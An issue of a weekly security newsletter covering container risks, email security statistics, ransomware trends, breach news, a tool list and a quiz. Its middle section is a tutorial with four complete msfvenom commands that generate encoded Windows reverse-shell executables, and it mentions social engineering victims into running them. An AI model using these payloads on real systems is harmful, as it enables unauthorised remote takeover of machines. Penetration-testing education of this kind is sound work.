SecPro #15: Container Vulnerabilities, Payloads using Msfvenom, Malware Trends
In this Issue
- → Container Vulnerabilities: The Real Problems with Docker and Kubernetes
- → How to: Email Security
- → Getting Reverse Shells from Binary Executable Payloads
- → Malware Trends and Analysis
- → In Other News
- → Secret Knowledge
- → The Puzzle Section
Container Security: Container Vulnerabilities Discussed
Container Vulnerabilities: The Real Problems with Docker and Kubernetes
Containers are amazing, right? Using containers has completely changed the way that DevOps teams operate – we can now pick up any application and its dependencies and spin it up on any computer. The advantages of using containers are clear to most teams, but have you thought about the disadvantages of containerization or Container Vulnerabilities?
The truth is that some of the weaknesses of containers haven’t gone away. Insecure images, kernel access, and multi-layer security nightmares are all very real. What should you be looking for and how do you manage it? Read on to find out.
Because running a container launches a completely self-contained app, running security checks on them can be difficult. In particular, loading a public image brings the risk of loading publicly known vulnerabilities. The security has no power to:
- Manage the content of the image
- Explore the inherent weaknesses in the image
- Update the image to meet organizational standards/patch vulnerabilities
- Manage the availability of the image
If that was a piece of locally installed software, would you trust it?
Similarly, although Docker and Kubernetes have hardened their systems in recent years, user access control was not limited to older versions of their orchestration software. If a vulnerable image was loaded into an out-of-date Docker container, especially an organization could be looking at leaking containers and potentially leaking data.
What Can I Do About Container Vulnerabilities?
Vetting, vetting, vetting. Although the DevOps team will hate you for it, there are no other solutions to this problem. Thoroughly vet every single image that your organization will use before any are loaded into a container. This is especially true for operating system images that can’t be created locally (which generally includes some of the most popular Linux distros such as Debian and Alpine).
Cutting to the Kernel
Containers run with lightweight isolation from the OS, meaning that security is not necessarily high grade – in fact, containers are an easy jumping-off point for would-be threat actors.
Container Vulnerabilities, Unlike in a virtual machine, where the hypervisor manages and defends the environment, a container has no middleman to protect the overall system. This means that if an attacker gains access to (for example) the Linux kernel through a container, they can access all containers. Then it is only a matter of escaping the container itself to start accessing data and files on the physical system.
What Can I Do About It?
With the growth of cloud computing and more organizations jumping on the remote server gravy train, loading containers into the cloud is a best practice for stopping malicious agents from escaping your containers. When your DevOps team access a container in the cloud, the resources and data are in distinct areas – that is, they can’t access anything else in storage (well, not easily anyway).
Multi-Level Security Headaches
Managing security issues is already a delicate balancing act, but containers don’t work on single layers. This means that each individual layer (including the Docker or Kubernetes daemon) needs to be managed individually and hardened properly before containers can be used safely within your organization.
This becomes a larger problem when you are loading unfamiliar or public (!) images of operating systems. Everything needs to be secured properly in order to bring containers into the same wheelhouse as virtual machines in terms of reliability.
What Can I Do About It?
Secure the daemon, secure the operating system, and use trusted images (preferably ones created locally so you can completely manage what is contained in the image). This involves:
- Managing inherent vulnerabilities
- Vetting access control lists
- Observing inter-container traffic
- Stopping API access where it is not necessary
Not sure if your containers are properly secured? Check out NIST’s SP 800-190: Application Container Security Guide for best practices.
Is It Safe To Use Containers?
Yes, but only when they are managed well. This is not a death knell for containers or a rallying call for people to turn back to virtual machines. Instead, this is a warning for InfoSec and DevSecOps professionals to take a close look at how their organization uses containerization.
Understanding the image that you are loading, the environment it is loaded into, and the disadvantages of an over-reliance on container technology will give your organization a stronger security posture and a smaller attack surface or mitigate any container vulnerabilities. Use trusted images, rely on the cloud where possible, and limit privileges throughout the development process to reap the benefits of containerization in your organization.
Read More About Container Vulnerabilities…
- Channel Futures – Docker Downsides: Container Cons to Consider before Adopting Docker
- Container Journal – The 4 Most Vulnerable Areas of Container Security
- Sogeti – Container Cons: The complexities associated with Containers
- TechTarget – Four container security vulnerabilities and how to avoid them
Panda Security explains what email encryption is, why it’s important and how it can be applied in Gmail, Outlook, iOS, and many more email providers. Two of the primary forms of email encryption are S/MIME and PGP/MIME compared below:
1 of Every 4 Companies Suffered At Least One Email Security Breach
A recent survey of 420+ businesses that use Microsoft 365 found that 23% of these businesses have encountered an email-related security breach.
- 62% of all breaches are caused by compromised passwords & phishing attacks
- 68% of companies expect Microsoft 365 to keep them safe from email threats, yet 50% use third-party solutions
- Third-Party Solutions the most effective, with 82% reporting no breaches
- Companies with between 201-1,000+ employees are the most vulnerable to email security breaches
4 Email Security Best Practices to Protect Your Enterprise
Four of the best email security practices to reduce the potential for cyber-attacks on enterprises detailed by Digify:
- Improve your endpoint and email security hygiene
- Safeguard your email content with encryption
- Implement email server protection
- Prevent data leakage and breaches
Getting Reverse Shells from Binary Executable Payloads
Binary payloads are executables that can be generated using the msfvenom framework and once executed on a victim machine, would give us access to the system. This is useful functionality as sometimes; it can be much easier to simply social engineer a person to infect their system with a payload instead of finding a vulnerability that can be exploited.
There are mainly two types of binary payload that msfvenom can generate: PE and ELF. PE stands for Portable Executable (PE) format and is used for executables, object code, DLLs, and others used in Windows operating systems. ELF stands for Executable and Linkable Format (formerly named Extensible Linking Format) and is used for executable files, object code, shared libraries, and core dumps on Unix and Unix-like i.e., Linux and other operating systems.
Types of Reverse Shells
Let’s review the different types of reverse shells:
1. Reverse TCP: Reverse TCP shells provide interactive and stable connections when the payload connects back to our attacker machine. However, this comes at a cost. It is often less stealthy as connecting to a nonstandard port like 6666 or 4444 can trigger alarms on IDS/IPS and other network monitoring solutions. Also, a raw TCP connection going to port 80/443 can also seem suspicious. Therefore, we have more sophisticated payloads as a workaround.
2. Reverse HTTP: Reverse HTTP payloads use the HTTP protocol instead of TCP and therefore can seem like legitimate traffic on network monitoring tools. However, HTTP payloads are slow in response and can cause lag. Also, HTTP is plaintext, therefore the traffic can be sniffed and monitored.
3. Reverse HTTPS: Reverse HTTPS payload upgrades the HTTP connection to a secure HTTPS connection with encryption so that all communication is encrypted and cannot be monitored on the network. Therefore, an HTTPS connection to port 443 would look like a legitimate network connection on IDS/IPS systems.
How to Generate a Payload using Msfvenom
The following commands show how to generate individual payloads for every type of shell.
Msfvenom has the following arguments:
- -a: System Architecture (x86/64)
- –platform: OS of the target system
- -p: Payload
- LHOST: Attack Server to connect back to
- LPORT: Port to connect back to
- -e: Encoder
- -b: Bad character to remove
- -nopsled: To add a few NOPs at the start of the payload
- -I: Number of iterations to run the encoder
- -f: File type for payload
- -o: Output filename
Encoders are used to encode the payload and convert it into pure alphanumeric characters and remove any bad characters to make it suited for the target environment. Msf has a few encoders and here we will be using the most popular shikata_ga_nai encoder. The word “shikata_ga_nai” in Japanese means “Nothing Can Be Done”. It implements a polymorphic XOR additive feedback encoder, and is mainly useful because of the following reasons:
- The encoding makes use of a decoder stub that is generated using metamorphic techniques and it produces a different signature every time the payload is generated in an attempt to avoid signature detection.
- The encoder uses a chained self-modifying key which means if the decoding input or the keys are incorrect, it will not produce the correct output.
- The decoder stub is partially obfuscated and it is protected against emulation using FPU instructions.
One more reason we use encoders is to get rid of bad characters like “\x00”. This is because if the exploit code has to go through a vulnerable function like strcpy(), then the null byte needs to be removed for the payload to work correctly.
A less popular encoder is the x86/countdown. However, this encoder comes in handy if we are looking to encode a payload without increasing its byte size by too much. Shikata_ga_nai would be able to get rid of bad characters easily, however, to fulfill that, it would grow the payload exponentially. A 5-byte payload would increase to 98 bytes after shikata_ga_nai encoding, however, the x86/countdown encoder would only increase it to 11 bytes. This comes in handy when we have very limited memory available to include a payload after encoding it.
MSF provides the option to add a NOP sled to the beginning of the payload. A NOP sled is a sequence of NOP commands which is used to slide the CPU’s execution to a desired choice of address. While generating payloads, we can choose to add a NOP Sled to the beginning of our shellcode so that we have a fairly large range of memory addresses to redirect code execution during a buffer overflow. The NOP Sled would then slide the execution to our payload once we are able to redirect code execution to the NOP sled.
Let’s look at how to create these using the msfvenom command line. Note, the ‘<<>>’ string after LHOST needs to be replaced with a valid IP address.
1. Reverse TCP Shell
msfvenom -a x86 –platform Windows -p windows/meterpreter/reverse_tcp LHOST=<< >> LPORT=443 -e x86/shikata_ga_nai -b ‘\x00’ -i 3 -f exe -o payload.exe
2. Reverse HTTP Shell
msfvenom -a x86 –platform Windows -p windows/meterpreter/reverse_http LHOST=<<>> LPORT=443 -e x86/shikata_ga_nai -b ‘\x00’ -i 3 -f exe -o payload.exe
3. Reverse HTTPS Shell
msfvenom -a x86 –platform Windows -p windows/meterpreter/reverse_https LHOST=<<>> LPORT=443 -e x86/shikata_ga_nai -b ‘\x00’ -i 3 -f exe -o payload.exe
4. Reverse UDP Shell
msfvenom -a x86 –platform Windows -p payload/windows/shell/reverse_udp LHOST=<<>> LPORT=443 -e x86/shikata_ga_nai -b ‘\x00’ -i 3 -f exe -o payload.exe
Disclaimer: Ensure you only pentest systems and networks that you own or have legal permissions to do so.
Malware Trends & Analysis
The rise of “quadruple extortion” is one disturbing trend identified by Unit 42 consultants in the first half of 2021. Ransomware operators now commonly use as many as four techniques for pressuring victims into paying:
1. Encryption: Victims pay to regain access to scrambled data and compromised computer systems that stop working because key files are encrypted.
2. Data Theft: Hackers release sensitive information if a ransom is not paid. (This trend really took off in 2020.)
3. Denial of Service (DoS): Ransomware gangs launch denial of service attacks that shut down a victim’s public websites.
4. Harassment: Cybercriminals contact customers, business partners, employees, and media to tell them the organization was hacked.
Ransomware Attacks and Payment Demands Soar
Jai Vijayan discusses the rise in not only the amount of ransomware and phishing attacks but the rise in the level of sophistication involved with these attacks.
In Other News
Four-Fold Increase in Software Supply Chain Attacks Predicted
The European Union’s forecast is that there will be four times more software supply chain attacks in 2021 than in 2020, based on its study of 24 supply chain attacks that happened between January 2020 and July 2021.
A timeline of the attacks studied in the report.
T-Mobile Investigating Claims of Massive Data Breach
The intrusion came to light on Twitter when the account @und0xxed started tweeting the details. Und0xxed said they were not involved in stealing the databases but were instead in charge of finding buyers for the stolen T-Mobile customer data.
“We are confident that the entry point used to gain access has been closed, and we are continuing our deep technical review of the situation across our systems to identify the nature of any data that was illegally accessed…This investigation will take some time but we are working with the highest degree of urgency. Until we have completed this assessment we cannot confirm the reported number of records affected or the validity of statements made by others.” – T-Mobile
A sales thread tied to the allegedly stolen T-Mobile customer data.
Discover useful security resources, cheatsheets, hacks on Container Vulnerabilities, one-liners, and open-source CLI/web tools.
- YesWeHack – bug bounty platform with infosec jobs.
- Openbugbounty – allows any security researcher to report a vulnerability on any website.
- hackerone – global hacker community to surface the most relevant security issues.
- bugcrowd – crowdsourced cybersecurity for the enterprise.
- Crowdshield – crowdsourced security & bug bounty management.
- gvisor – container runtime sandbox.
- ctop – top-like interface for container metrics.
- Moby – a collaborative project for the container ecosystem to assemble a container-based system.
- docker-bench-security – checks for dozens of common best-practices around deploying Docker.
- trivy – vulnerability scanner for containers, suitable for CI.
- ViewDNS – one source for free DNS-related tools and information.
- DNSLookup – is an advanced DNS lookup tool.
- DNSlytics – online DNS investigation tool.
- DNS Spy – monitor, validate and verify your DNS configurations.
- Zonemaster – helps you to control how your DNS works.
Introducing the Allstar GitHub App
The Open Source Security Foundation has released Allstar, a GitHub app that provides automated continuous enforcement of security best practices for GitHub projects. With Allstar, owners can check for security policy adherence, set desired enforcement actions, and continuously enact those enforcements when triggered by a setting or file change in the organization or project repository.
How to create IAM roles for Serverless apps
A detailed guide to creating least privilege IAM roles for serverless apps, with a focus on deploy-time actions, including handling deploying across multiple AWS accounts.
Recent Security Issues
Scanning Millions of Publicly Exposed Docker Containers: RedHunt Labs scanned over 6 million unique public repos on Docker Hub. These are the findings:
- The most common secret type was username/password to clone git repos.
- The top 5 exposures in Docker images include hard-coded secrets.
Emotet Resurfaces on the Back of TrickBot After a Year: Emotet, one of the most prolific and disruptive botnet malware-delivery systems, appears to be making a comeback after nearly a year of inactivity.
CISA: ICS Equipment Advisory: The US Cybersecurity and Infrastructure Security Agency (CISA) has released an ICS advisory urging admins to install updates to address “vulnerabilities found in multiple open-source and proprietary Object Management Group (OMG) Data-Distribution Service (DDS) implementations.”
The Puzzle Section
Check your knowledge. Select the correct response to the following questions:
1) Which MITRE ATT&CK tactic includes techniques to expand access beyond the initial entry point?
a. Lateral Movement
c. Credential Access
d. Defense Evasion
2) Is data in Azure Storage encrypted by default?
The SecPro is a weekly security newsletter to help you stay sharp and upgrade your skills with trending threat insights, practical tutorials, hands-on labs, and useful resources. Build skills in as little as 10 minutes.